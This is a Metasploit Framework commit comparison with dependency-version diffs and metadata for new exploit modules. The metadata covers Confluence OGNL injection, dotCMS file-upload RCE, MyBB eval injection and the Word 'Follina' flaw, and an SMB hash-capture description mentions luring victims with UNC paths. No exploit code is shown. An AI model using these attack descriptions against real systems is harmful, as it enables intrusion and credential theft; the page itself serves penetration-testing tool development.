Compare commits

...

87 Commits

Author SHA1 Message Date
Grant Willcox fd5e483b3c Land #16662, Add faraday retry gem dependency 2022-06-09 09:41:47 -05:00
adfoster-r7 f4f9580412 Add faraday retry gem dependency 2022-06-09 02:09:28 +01:00
Grant Willcox 63822f6e37 Land #16651, [SQLi library] Ensure the encoder is always used in the #test_vulnerable methods 2022-06-08 17:15:22 -05:00
Redouane NIBOUCHA 88036a7f1f Check for nil before using the decoder in test_vulnerable 2022-06-08 22:00:03 +02:00
Metasploit 9e3b1caf16 automatic module_metadata_base.json update 2022-06-08 13:35:28 -05:00
Jack Heysel 67ea2bc23c Land #16630 Fix duplicate ntlm hash storage
Net-NTLM (v1 and v2) hashes were being duplicated when
stored in the database due to the unique data in the challenge
dispite being the same. This fixes that issue
2022-06-08 14:07:34 -04:00
jheysel-r7 1a7cbe5b4f Update lib/msf/core/exploit/remote/smb/server/hash_capture.rb 2022-06-08 13:45:57 -04:00
Metasploit 365efba76b automatic module_metadata_base.json update 2022-06-08 12:15:23 -05:00
Grant Willcox 12cc1c871d Land #16661, Add SAN support to impersonate_ssl module 2022-06-08 11:54:05 -05:00
Grant Willcox ab322d9318 Add minor review improvements for code readability and future travelers 2022-06-08 11:53:42 -05:00
Dan Staples a55aa8492c Add SAN support to impersonate_ssl module 2022-06-08 11:22:06 -04:00
Metasploit e957e0ea80 automatic module_metadata_base.json update 2022-06-07 16:20:37 -05:00
bwatters 3875db78ae Land #16644, Add Exploit for CVE-2022-26134 (Confluence RCE)
Merge branch 'land-16644' into upstream-master
2022-06-07 16:00:37 -05:00
Grant Willcox a983bbd8ba Land #16615, Solicited multicast-address creation bugfix 2022-06-07 14:41:52 -05:00
Grant Willcox 5e69de43a8 Land #16645, Weekly dependency updates for Gemfile.lock 2022-06-07 11:58:51 -05:00
Metasploit 9b180c9e14 Weekly dependency updates for Gemfile.lock 2022-06-07 11:31:32 -05:00
jheysel-r7 2b99967d0c Merge branch 'master' into fix/duplicate-netntlm 2022-06-07 11:42:51 -04:00
Metasploit 5880a0dcea automatic module_metadata_base.json update 2022-06-07 09:19:11 -05:00
Grant Willcox 8584014af2 Land #16583, Bump payloads version to 2.0.93 2022-06-07 08:58:56 -05:00
Spencer McIntyre 1a06f69f95 Works through v7.18 now too 2022-06-06 22:03:21 -04:00
Spencer McIntyre 45c646afea Refactor #encode_ognl 2022-06-06 18:15:44 -04:00
Spencer McIntyre 2c0e034a18 Fix a couple of typos 2022-06-06 18:14:05 -04:00
Redouane NIBOUCHA 5331c343a0 Use the encoder in all the #test_vulnerable methods from the common class 2022-06-06 23:13:26 +02:00
Metasploit 1bb93ddfd2 automatic module_metadata_base.json update 2022-06-06 15:02:58 -05:00
bwatters c751ef46c9 Land #16635, Add 0-day MSWord RCE #Follina CVE-2022-30190
Merge branch 'land-16635' into upstream-master
2022-06-06 14:41:31 -05:00
bwatters 24a0e7622d Land #16653, Fix smb named pipe pivot crash
Merge branch 'land-16653' into upstream-master
2022-06-06 14:33:07 -05:00
Metasploit 4dd6b936b6 automatic module_metadata_base.json update 2022-06-06 12:25:38 -05:00
Grant Willcox 50ba5f580c Land #16643 - Fix exploits/multi/http/php_fpm_rce for ruby 3 2022-06-06 12:04:36 -05:00
adfoster-r7 6e9765992c Fix smb named pipe pivot crash 2022-06-06 13:00:42 +01:00
Spencer McIntyre 1aec2e8649 Note version in the docs 2022-06-03 18:29:28 -04:00
Spencer McIntyre f55334f0fe Add version detection 2022-06-03 18:26:04 -04:00
Spencer McIntyre 600fba7fa1 Add module docs 2022-06-03 17:26:15 -04:00
Spencer McIntyre 76ec36a091 Remove the Windows targets for now 2022-06-03 16:50:13 -04:00
Spencer McIntyre 29a9ef686a Finish up a draft of the module 2022-06-03 16:47:02 -04:00
Spencer McIntyre cd6bbeb0ba WIP module 2022-06-03 15:27:13 -04:00
Kert Ojasoo 1dc61d02eb Update php_fpm_rce.rb 2022-06-03 11:23:53 +03:00
Metasploit e79161c236 Bump version of framework to 6.2.2 2022-06-02 12:05:08 -05:00
Jack Heysel 8ccc1ebf91 Land PR #16628, Log ntlm_session hashes
This PR fixes the logging and storing of
NTLM session hashes
2022-06-02 11:20:37 -04:00
Metasploit 6942e0ca0e automatic module_metadata_base.json update 2022-06-02 08:52:54 -05:00
Christophe De La Fuente 474116d413 Land #16611, DotCMS File Upload to RCE Module (CVE-2022-26352) 2022-06-02 15:30:10 +02:00
Grant Willcox 44a22ab720 Land #16640, Patch LDAP for sychronous reads 2022-06-01 16:12:09 -05:00
RAMELLA Sébastien 3ab06461af fix. second review 2022-06-02 00:58:20 +04:00
RAMELLA Sébastien dd1814903c fix. SRVHOST default value 2022-06-02 00:07:15 +04:00
RAMELLA Sébastien 8c19a02835 fix. first review 2022-06-01 20:15:08 +04:00
Metasploit f036950ea1 automatic module_metadata_base.json update 2022-06-01 10:49:34 -05:00
space-r7 6d3ccab1be Land #16435, add Microsoft SQL Server sqli support 2022-06-01 10:27:48 -05:00
jheysel-r7 97caca4f6e Update modules/exploits/multi/http/dotcms_file_upload_rce.rb
Co-authored-by: cdelafuente-r7 <56716719+cdelafuente-r7@users.noreply.github.com>
2022-06-01 10:54:02 -04:00
Metasploit 87e7e5c813 automatic module_metadata_base.json update 2022-05-31 11:29:18 -05:00
Jack Heysel bea4207c62 Land PR #16607 - MyBB RCE Module (CVE-2022-24734)
This exploit module leverages an improper input validation
vulnerability in MyBB prior to 1.8.30 to execute arbitrary
code in the context of the user running the application.
2022-05-31 11:59:53 -04:00
Metasploit 3261cd1ee3 automatic module_metadata_base.json update 2022-05-31 05:23:36 -05:00
Christophe De La Fuente dac355d9cf Land #16492, nfs_mount more intelligent mountability 2022-05-31 11:56:19 +02:00
RAMELLA Sébastien 7f89e92da3 add more informations about 2022-05-31 00:12:30 +04:00
Jack Heysel 2c02a607ee Responded to PR feedback 2022-05-30 14:46:54 -04:00
RAMELLA Sébastien 97921b4ed9 fix chmod 644 2022-05-30 22:11:35 +04:00
RAMELLA Sébastien dfc226cf5f add. Supposed 0day MSWord RCE 2022-05-30 21:23:18 +04:00
h00die c6936bd42f nfs mount more intelligent 2022-05-30 13:03:03 -04:00
Christophe De La Fuente b996f5ee49 Fixes from code review 2022-05-30 16:24:18 +02:00
h00die 627605cf82 nfs mount more intelligent 2022-05-30 09:49:24 -04:00
h00die b8cebe0dbe nfs mount more intelligent 2022-05-30 09:47:00 -04:00
Spencer McIntyre 1466506069 Update the docs to be accurate 2022-05-27 14:41:06 -04:00
Spencer McIntyre a47b3fe694 Don't report duplicate Net-NTLM hashes 2022-05-27 14:13:06 -04:00
Metasploit b464f97c5e automatic module_metadata_base.json update 2022-05-27 11:51:08 -05:00
adfoster-r7 a98f9a69c4 Land #16621, Fix timeout of duplicated sessions 2022-05-27 17:30:56 +01:00
Spencer McIntyre 0c481ed9c9 Patch LDAP for synchronous reads 2022-05-27 10:57:28 -04:00
Spencer McIntyre 1e5f86703f Report the correct JtR type 2022-05-27 10:16:02 -04:00
Spencer McIntyre 862c6a94a2 Log ntlm_session hashes too
Despite being called ntlm_session, these hashes are capable of being
cracked as the John 'netntlm' format. Additionally the format is
reported as NTLMv1-SSP in similar tools.
2022-05-27 10:07:39 -04:00
sjanusz 7b75bd6e27 Cache remote Python binary name 2022-05-27 10:21:59 +01:00
Metasploit a1613d6070 Bump version of framework to 6.2.1 2022-05-26 12:04:57 -05:00
sjanusz 17a37a9d4d Detect more Python binaries & don't run last cmd_exec as channelized 2022-05-25 15:21:40 +01:00
dwelch-r7 5f73401ab7 Bump payloads version 2022-05-24 16:06:42 +01:00
dwelch-r7 a911a9185a Update cached sizes 2022-05-24 16:04:03 +01:00
dwelch-r7 21a34b2f50 bump payload version 2022-05-24 16:04:03 +01:00
dwelch-r7 0df1f58480 Update cached sizes 2022-05-24 16:04:00 +01:00
dwelch-r7 25e1e5db1f Bump payloads version to 2.0.92 2022-05-24 16:04:00 +01:00
Jack Heysel 9d9d81a855 Docs update 2022-05-24 10:16:36 -04:00
NikitaKovaljov c33f284786 change from lambda to line by line logic 2022-05-24 16:24:15 +03:00
Christophe De La Fuente bac9be956f Add documentation 2022-05-23 17:27:42 +02:00
Christophe De La Fuente 1f304ef2c4 Add module exploit for MyBB RCE - CVE-2022-24734 2022-05-23 17:27:20 +02:00
NikitaKovaljov 7f9ead454e bugfix of improper solicited address creation 2022-05-23 15:25:53 +03:00
Jack Heysel 3afb9b2ffe dotCMS file upload to RCE module 2022-05-20 15:57:22 -04:00
Jack Heysel 4f4287eb6b Module working on linux 2022-05-19 09:37:48 -04:00
h00die 6f6e7718dd nfs mount more intelligent 2022-05-08 11:35:59 -04:00
h00die 978dfe9b74 nfs mount more intelligent 2022-05-08 08:48:53 -04:00
Redouane NIBOUCHA 90937e6daa Address feedback from space-r7 2022-05-06 00:31:20 +02:00
h00die 3b5719ec88 nfs mount more intelligent 2022-04-23 07:11:00 -04:00
h00die 44ab99c89f nfs mount more intelligent 2022-04-23 07:02:37 -04:00
Redouane NIBOUCHA 87a21bd117 Add the MSSQL injection library 2022-04-22 06:19:36 +02:00
48 changed files with 2641 additions and 281 deletions
+26 -44
View File
@@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (6.2.0)
metasploit-framework (6.2.2)
actionpack (~> 6.0)
activerecord (~> 6.0)
activesupport (~> 6.0)
@@ -18,6 +18,7 @@ PATH
eventmachine
faker
faraday
faraday-retry
faye-websocket
filesize
hrr_rb_ssh-ed25519
@@ -29,7 +30,7 @@ PATH
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 2.0.87)
metasploit-payloads (= 2.0.93)
metasploit_data_models
metasploit_payloads-mettle (= 1.0.18)
mqtt
@@ -128,13 +129,13 @@ GEM
activerecord (>= 3.1.0, < 8)
ast (2.4.2)
aws-eventstream (1.2.0)
aws-partitions (1.588.0)
aws-sdk-core (3.131.0)
aws-partitions (1.595.0)
aws-sdk-core (3.131.1)
aws-eventstream (~> 1, >= 1.0.2)
aws-partitions (~> 1, >= 1.525.0)
aws-sigv4 (~> 1.1)
jmespath (~> 1.0)
aws-sdk-ec2 (1.315.0)
jmespath (~> 1, >= 1.6.1)
aws-sdk-ec2 (1.317.0)
aws-sdk-core (~> 3, >= 3.127.0)
aws-sigv4 (~> 1.1)
aws-sdk-iam (1.68.0)
@@ -185,28 +186,10 @@ GEM
railties (>= 5.0.0)
faker (2.21.0)
i18n (>= 1.8.11, < 2)
faraday (1.10.0)
faraday-em_http (~> 1.0)
faraday-em_synchrony (~> 1.0)
faraday-excon (~> 1.1)
faraday-httpclient (~> 1.0)
faraday-multipart (~> 1.0)
faraday-net_http (~> 1.0)
faraday-net_http_persistent (~> 1.0)
faraday-patron (~> 1.0)
faraday-rack (~> 1.0)
faraday-retry (~> 1.0)
faraday (2.3.0)
faraday-net_http (~> 2.0)
ruby2_keywords (>= 0.0.4)
faraday-em_http (1.0.0)
faraday-em_synchrony (1.0.0)
faraday-excon (1.1.0)
faraday-httpclient (1.0.1)
faraday-multipart (1.0.3)
multipart-post (>= 1.2, < 3)
faraday-net_http (1.0.1)
faraday-net_http_persistent (1.2.0)
faraday-patron (1.0.0)
faraday-rack (1.0.0)
faraday-net_http (2.0.3)
faraday-retry (1.0.3)
faye-websocket (0.11.1)
eventmachine (>= 0.12.0)
@@ -224,7 +207,7 @@ GEM
hrr_rb_ssh-ed25519 (0.4.2)
ed25519 (~> 1.2)
hrr_rb_ssh (>= 0.4)
http-cookie (1.0.4)
http-cookie (1.0.5)
domain_name (~> 0.5)
http_parser.rb (0.8.0)
httpclient (2.8.3)
@@ -238,7 +221,7 @@ GEM
rkelly-remix
json (2.6.2)
little-plugger (1.1.4)
logging (2.3.0)
logging (2.3.1)
little-plugger (~> 1.1)
multi_json (~> 1.14)
loofah (2.18.0)
@@ -264,7 +247,7 @@ GEM
activemodel (~> 6.0)
activesupport (~> 6.0)
railties (~> 6.0)
metasploit-payloads (2.0.87)
metasploit-payloads (2.0.93)
metasploit_data_models (5.0.5)
activerecord (~> 6.0)
activesupport (~> 6.0)
@@ -280,9 +263,8 @@ GEM
mini_portile2 (2.8.0)
minitest (5.15.0)
mqtt (0.5.0)
msgpack (1.5.1)
msgpack (1.5.2)
multi_json (1.15.0)
multipart-post (2.1.1)
mustermann (1.1.1)
ruby2_keywords (~> 0.0.1)
nessus_rest (0.1.6)
@@ -301,9 +283,9 @@ GEM
mini_portile2 (~> 2.8.0)
racc (~> 1.4)
nori (2.6.0)
octokit (4.22.0)
faraday (>= 0.9)
sawyer (~> 0.8.0, >= 0.5.3)
octokit (4.23.0)
faraday (>= 1, < 3)
sawyer (~> 0.9)
openssl-ccm (1.2.2)
openssl-cmac (2.0.1)
openvas-omp (0.0.4)
@@ -331,7 +313,7 @@ GEM
puma (5.6.4)
nio4r (~> 2.0)
racc (1.6.0)
rack (2.2.3)
rack (2.2.3.1)
rack-protection (2.2.0)
rack
rack-test (1.1.0)
@@ -353,7 +335,7 @@ GEM
recog (2.3.23)
nokogiri
redcarpet (3.5.1)
regexp_parser (2.4.0)
regexp_parser (2.5.0)
reline (0.2.5)
io-console (~> 0.5)
rex-arch (0.1.14)
@@ -429,13 +411,13 @@ GEM
rspec-rerun (1.1.0)
rspec (~> 3.0)
rspec-support (3.11.0)
rubocop (1.29.1)
rubocop (1.30.0)
parallel (~> 1.10)
parser (>= 3.1.0.0)
rainbow (>= 2.2.2, < 4.0)
regexp_parser (>= 1.8, < 3.0)
rexml (>= 3.2.5, < 4.0)
rubocop-ast (>= 1.17.0, < 2.0)
rubocop-ast (>= 1.18.0, < 2.0)
ruby-progressbar (~> 1.7)
unicode-display_width (>= 1.4.0, < 3.0)
rubocop-ast (1.18.0)
@@ -453,9 +435,9 @@ GEM
windows_error (>= 0.1.4)
rubyntlm (0.6.3)
rubyzip (2.3.2)
sawyer (0.8.2)
sawyer (0.9.1)
addressable (>= 2.3.5)
faraday (> 0.8, < 2.0)
faraday (>= 0.17.3, < 3)
simplecov (0.18.2)
docile (~> 1.1)
simplecov-html (~> 0.11)
@@ -477,7 +459,7 @@ GEM
thor (1.2.1)
tilt (2.0.10)
timecop (0.9.5)
timeout (0.2.0)
timeout (0.3.0)
ttfunk (1.7.0)
tzinfo (2.0.4)
concurrent-ruby (~> 1.0)
@@ -485,7 +467,7 @@ GEM
tzinfo (>= 1.0.0)
unf (0.1.4)
unf_ext
unf_ext (0.0.8.1)
unf_ext (0.0.8.2)
unicode-display_width (2.1.0)
unix-crypt (1.3.0)
warden (1.2.9)
@@ -510,7 +492,7 @@ GEM
activesupport (>= 4.2, < 8.0)
xmlrpc (0.3.2)
webrick
yard (0.9.27)
yard (0.9.28)
webrick (~> 1.7.0)
zeitwerk (2.5.4)
+10 -10
View File
@@ -10,14 +10,14 @@ afm, 0.2.2, MIT
arel-helpers, 2.14.0, MIT
ast, 2.4.2, MIT
aws-eventstream, 1.2.0, "Apache 2.0"
aws-partitions, 1.587.0, "Apache 2.0"
aws-sdk-core, 3.130.2, "Apache 2.0"
aws-sdk-ec2, 1.314.0, "Apache 2.0"
aws-partitions, 1.588.0, "Apache 2.0"
aws-sdk-core, 3.131.0, "Apache 2.0"
aws-sdk-ec2, 1.315.0, "Apache 2.0"
aws-sdk-iam, 1.68.0, "Apache 2.0"
aws-sdk-kms, 1.56.0, "Apache 2.0"
aws-sdk-kms, 1.57.0, "Apache 2.0"
aws-sdk-s3, 1.114.0, "Apache 2.0"
aws-sigv4, 1.5.0, "Apache 2.0"
bcrypt, 3.1.17, MIT
bcrypt, 3.1.18, MIT
bcrypt_pbkdf, 1.1.0, MIT
bindata, 2.4.10, ruby
bson, 4.15.0, "Apache 2.0"
@@ -41,7 +41,7 @@ erubi, 1.10.0, MIT
eventmachine, 1.2.7, "ruby, GPL-2.0"
factory_bot, 6.2.1, MIT
factory_bot_rails, 6.2.0, MIT
faker, 2.20.0, MIT
faker, 2.21.0, MIT
faraday, 1.10.0, MIT
faraday-em_http, 1.0.0, MIT
faraday-em_synchrony, 1.0.0, MIT
@@ -70,7 +70,7 @@ io-console, 0.5.11, "ruby, Simplified BSD"
irb, 1.3.6, "ruby, Simplified BSD"
jmespath, 1.6.1, "Apache 2.0"
jsobfu, 0.4.2, "New BSD"
json, 2.6.1, ruby
json, 2.6.2, ruby
little-plugger, 1.1.4, MIT
logging, 2.3.0, MIT
loofah, 2.18.0, MIT
@@ -78,7 +78,7 @@ memory_profiler, 1.0.0, MIT
metasm, 1.0.5, LGPL-2.1
metasploit-concern, 4.0.4, "New BSD"
metasploit-credential, 5.0.7, "New BSD"
metasploit-framework, 6.1.44, "New BSD"
metasploit-framework, 6.2.2, "New BSD"
metasploit-model, 4.0.4, "New BSD"
metasploit-payloads, 2.0.87, "3-clause (or ""modified"") BSD"
metasploit_data_models, 5.0.5, "New BSD"
@@ -158,13 +158,13 @@ rspec-rails, 5.1.2, MIT
rspec-rerun, 1.1.0, MIT
rspec-support, 3.11.0, MIT
rubocop, 1.29.1, MIT
rubocop-ast, 1.17.0, MIT
rubocop-ast, 1.18.0, MIT
ruby-macho, 3.0.0, MIT
ruby-prof, 1.4.2, "Simplified BSD"
ruby-progressbar, 1.11.0, MIT
ruby-rc4, 0.1.5, MIT
ruby2_keywords, 0.0.5, "ruby, Simplified BSD"
ruby_smb, 3.1.2, "New BSD"
ruby_smb, 3.1.3, "New BSD"
rubyntlm, 0.6.3, MIT
rubyzip, 2.3.2, "Simplified BSD"
sawyer, 0.8.2, MIT
Binary file not shown.
+276 -18
View File
@@ -16681,7 +16681,7 @@
"https"
],
"targets": null,
"mod_time": "2021-11-11 11:37:55 +0000",
"mod_time": "2022-05-06 00:22:52 +0000",
"path": "/modules/auxiliary/gather/billquick_txtid_sqli.rb",
"is_install_path": true,
"ref_name": "gather/billquick_txtid_sqli",
@@ -18715,7 +18715,7 @@
],
"targets": null,
"mod_time": "2022-05-16 12:03:24 +0000",
"mod_time": "2022-06-08 11:53:42 +0000",
"path": "/modules/auxiliary/gather/impersonate_ssl.rb",
"is_install_path": true,
"ref_name": "gather/impersonate_ssl",
@@ -39835,7 +39835,7 @@
],
"targets": null,
"mod_time": "2022-01-23 15:28:32 +0000",
"mod_time": "2022-05-30 13:03:03 +0000",
"path": "/modules/auxiliary/scanner/nfs/nfsmount.rb",
"is_install_path": true,
"ref_name": "scanner/nfs/nfsmount",
@@ -49779,7 +49779,7 @@
"agalway-r7",
"sjanusz-r7"
],
"description": "This module provides a SMB service that can be used to capture the challenge-response\n password NTLMv1 & NTLMv2 hashes used with SMB1, SMB2, or SMB3 client systems.\n Responses sent by this service have by default a random 8 byte challenge string\n of format `\\x11\\x22\\x33\\x44\\x55\\x66\\x77\\x88`, allowing for easy cracking using\n Cain & Abel (NTLMv1) or John the ripper (with jumbo patch).\n\n To exploit this, the target system must try to authenticate to this\n module. One way to force an SMB authentication attempt is by embedding\n a UNC path (\\\\SERVER\\SHARE) into a web page or email message. When\n the victim views the web page or email, their system will\n automatically connect to the server specified in the UNC share (the IP\n address of the system running this module) and attempt to\n authenticate. Another option is using auxiliary/spoof/{nbns,llmnr} to\n respond to queries for names the victim is already looking for.\n\n Documentation of the above spoofing methods can be found by running `info -d`.",
"description": "This module provides a SMB service that can be used to capture the challenge-response\n password NTLMv1 & NTLMv2 hashes used with SMB1, SMB2, or SMB3 client systems.\n Responses sent by this service by default use a random 8 byte challenge string.\n A specific value (such as `1122334455667788`) can be set using the CHALLENGE option,\n allowing for easy cracking using Cain & Abel (NTLMv1) or John the Ripper\n (with jumbo patch).\n\n To exploit this, the target system must try to authenticate to this\n module. One way to force an SMB authentication attempt is by embedding\n a UNC path (\\\\SERVER\\SHARE) into a web page or email message. When\n the victim views the web page or email, their system will\n automatically connect to the server specified in the UNC share (the IP\n address of the system running this module) and attempt to\n authenticate. Another option is using auxiliary/spoof/{nbns,llmnr} to\n respond to queries for names the victim is already looking for.\n\n Documentation of the above spoofing methods can be found by running `info -d`.",
"references": [
],
@@ -49793,7 +49793,7 @@
],
"targets": null,
"mod_time": "2022-04-21 11:24:15 +0000",
"mod_time": "2022-05-27 14:41:06 +0000",
"path": "/modules/auxiliary/server/capture/smb.rb",
"is_install_path": true,
"ref_name": "server/capture/smb",
@@ -80542,6 +80542,73 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_multi/http/atlassian_confluence_namespace_ognl_injection": {
"name": "Atlassian Confluence Namespace OGNL Injection",
"fullname": "exploit/multi/http/atlassian_confluence_namespace_ognl_injection",
"aliases": [
],
"rank": 600,
"disclosure_date": "2022-06-02",
"type": "exploit",
"author": [
"Unknown",
"bturner-r7",
"jbaines-r7",
"Spencer McIntyre"
],
"description": "This module exploits an OGNL injection in Atlassian Confluence servers. A specially crafted URI can be used to\n evaluate an OGNL expression resulting in OS command execution.",
"references": [
"CVE-2021-26084",
"URL-https://jira.atlassian.com/browse/CONFSERVER-79000?src=confmacro",
"URL-https://gist.githubusercontent.com/bturner-r7/1d0b62fac85235b94f1c95cc4c03fcf3/raw/478e53b6f68b5150eefd53e0956f23d53618d250/confluence-exploit.py",
"URL-https://github.com/jbaines-r7/through_the_wire",
"URL-https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis"
],
"platform": "Linux,Unix",
"arch": "cmd, x86, x64",
"rport": 8090,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Unix Command",
"Linux Dropper"
],
"mod_time": "2022-06-06 22:03:21 +0000",
"path": "/modules/exploits/multi/http/atlassian_confluence_namespace_ognl_injection.rb",
"is_install_path": true,
"ref_name": "multi/http/atlassian_confluence_namespace_ognl_injection",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs",
"artifacts-on-disk"
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_multi/http/atlassian_confluence_webwork_ognl_injection": {
"name": "Atlassian Confluence WebWork OGNL Injection",
"fullname": "exploit/multi/http/atlassian_confluence_webwork_ognl_injection",
@@ -81913,6 +81980,69 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_multi/http/dotcms_file_upload_rce": {
"name": "DotCMS RCE via Arbitrary File Upload.",
"fullname": "exploit/multi/http/dotcms_file_upload_rce",
"aliases": [
],
"rank": 600,
"disclosure_date": "2022-05-03",
"type": "exploit",
"author": [
"Shubham Shah",
"Hussein Daher",
"jheysel-r7"
],
"description": "When files are uploaded into dotCMS via the content API, but before they become content, dotCMS writes the\n file down in a temp directory. In the case of this vulnerability, dotCMS does not sanitize the filename\n passed in via the multipart request header and thus does not sanitize the temp file's name. This allows a\n specially crafted request to POST files to dotCMS via the ContentResource (POST /api/content) that get\n written outside of the dotCMS temp directory. In the case of this exploit, an attacker can upload a special\n .jsp file to the webapp/ROOT directory of dotCMS which can allow for remote code execution.",
"references": [
"CVE-2022-26352",
"URL-https://blog.assetnote.io/2022/05/03/hacking-a-bank-using-dotcms-rce/"
],
"platform": "Linux,Windows",
"arch": "",
"rport": 8443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Java Linux",
"Java Windows"
],
"mod_time": "2022-06-01 10:54:02 +0000",
"path": "/modules/exploits/multi/http/dotcms_file_upload_rce.rb",
"is_install_path": true,
"ref_name": "multi/http/dotcms_file_upload_rce",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"artifacts-on-disk",
"ioc-in-logs"
]
},
"session_types": false,
"needs_cleanup": true
},
"exploit_multi/http/drupal_drupageddon": {
"name": "Drupal HTTP Parameter Key/Value SQL Injection",
"fullname": "exploit/multi/http/drupal_drupageddon",
@@ -85958,6 +86088,74 @@
"session_types": false,
"needs_cleanup": true
},
"exploit_multi/http/mybb_rce_cve_2022_24734": {
"name": "MyBB Admin Control Code Injection RCE",
"fullname": "exploit/multi/http/mybb_rce_cve_2022_24734",
"aliases": [
],
"rank": 600,
"disclosure_date": "2022-03-09",
"type": "exploit",
"author": [
"Cillian Collins",
"Altelus",
"Christophe De La Fuente"
],
"description": "This exploit module leverages an improper input validation\n vulnerability in MyBB prior to `1.8.30` to execute arbitrary code in\n the context of the user running the application.\n\n MyBB Admin Control setting page calls PHP `eval` function with an\n unsanitized user input. The exploit adds a new setting, injecting the\n payload in the vulnerable field, and triggers its execution with a\n second request. Finally, it takes care of cleaning up and removes the\n setting.\n\n Note that authentication is required for this exploit to work and the\n account must have rights to add or update settings (typically, myBB\n administrator role).",
"references": [
"URL-https://github.com/mybb/mybb/security/advisories/GHSA-876v-gwgh-w57f",
"URL-https://www.zerodayinitiative.com/advisories/ZDI-22-503/",
"URL-https://github.com/Altelus1/CVE-2022-24734",
"CVE-2022-24734"
],
"platform": "Linux,PHP,Unix,Windows",
"arch": "php, cmd, x86, x64",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"PHP",
"Unix (In-Memory)",
"Linux (Dropper)",
"Windows (In-Memory)",
"Windows (Dropper)"
],
"mod_time": "2022-05-30 16:24:18 +0000",
"path": "/modules/exploits/multi/http/mybb_rce_cve_2022_24734.rb",
"is_install_path": true,
"ref_name": "multi/http/mybb_rce_cve_2022_24734",
"check": true,
"post_auth": true,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"config-changes",
"artifacts-on-disk"
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_multi/http/nas4free_php_exec": {
"name": "NAS4Free Arbitrary Remote Code Execution",
"fullname": "exploit/multi/http/nas4free_php_exec",
@@ -87306,7 +87504,7 @@
"PHP",
"Shell Command"
],
"mod_time": "2021-11-23 07:58:07 +0000",
"mod_time": "2022-06-03 11:23:53 +0000",
"path": "/modules/exploits/multi/http/php_fpm_rce.rb",
"is_install_path": true,
"ref_name": "multi/http/php_fpm_rce",
@@ -132278,6 +132476,66 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_windows/fileformat/word_msdtjs_rce": {
"name": "Microsoft Office Word MSDTJS",
"fullname": "exploit/windows/fileformat/word_msdtjs_rce",
"aliases": [
],
"rank": 600,
"disclosure_date": "2022-05-29",
"type": "exploit",
"author": [
"nao sec",
"mekhalleh (RAMELLA Sébastien)"
],
"description": "This module generates a malicious Microsoft Word document that when loaded, will leverage the remote template\n feature to fetch an `HTML` document and then use the `ms-msdt` scheme to execute `PowerShell` code.",
"references": [
"CVE-2022-30190",
"URL-https://www.reddit.com/r/blueteamsec/comments/v06w2o/suspected_microsoft_word_zero_day_in_the_wild/",
"URL-https://twitter.com/nao_sec/status/1530196847679401984?t=3Pjrpdog_H6OfMHVLMR5eQ&s=19",
"URL-https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/",
"URL-https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e",
"URL-https://twitter.com/GossiTheDog/status/1531608245009367040",
"URL-https://github.com/JMousqueton/PoC-CVE-2022-30190"
],
"platform": "Windows",
"arch": "x86, x64",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"Microsoft Office Word"
],
"mod_time": "2022-06-02 00:58:20 +0000",
"path": "/modules/exploits/windows/fileformat/word_msdtjs_rce.rb",
"is_install_path": true,
"ref_name": "windows/fileformat/word_msdtjs_rce",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
"AKA": [
"Follina"
],
"Stability": [
"crash-safe"
],
"Reliability": [
"unreliable-session"
],
"SideEffects": [
"ioc-in-logs",
"artifacts-on-disk"
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_windows/fileformat/word_mshtml_rce": {
"name": "Microsoft Office Word Malicious MSHTML RCE",
"fullname": "exploit/windows/fileformat/word_mshtml_rce",
@@ -186626,7 +186884,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-04-13 13:09:00 +0000",
"mod_time": "2022-05-17 10:51:20 +0000",
"path": "/modules/payloads/singles/php/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "php/meterpreter_reverse_tcp",
@@ -187004,7 +187262,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-05 18:44:20 +0000",
"mod_time": "2022-05-17 10:51:20 +0000",
"path": "/modules/payloads/singles/python/meterpreter_bind_tcp.rb",
"is_install_path": true,
"ref_name": "python/meterpreter_bind_tcp",
@@ -187038,7 +187296,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-05 18:44:20 +0000",
"mod_time": "2022-05-17 10:51:20 +0000",
"path": "/modules/payloads/singles/python/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "python/meterpreter_reverse_http",
@@ -187072,7 +187330,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-05 18:44:20 +0000",
"mod_time": "2022-05-17 10:51:20 +0000",
"path": "/modules/payloads/singles/python/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "python/meterpreter_reverse_https",
@@ -187106,7 +187364,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-05 18:44:20 +0000",
"mod_time": "2022-05-17 10:51:20 +0000",
"path": "/modules/payloads/singles/python/meterpreter_reverse_tcp.rb",
"is_install_path": true,
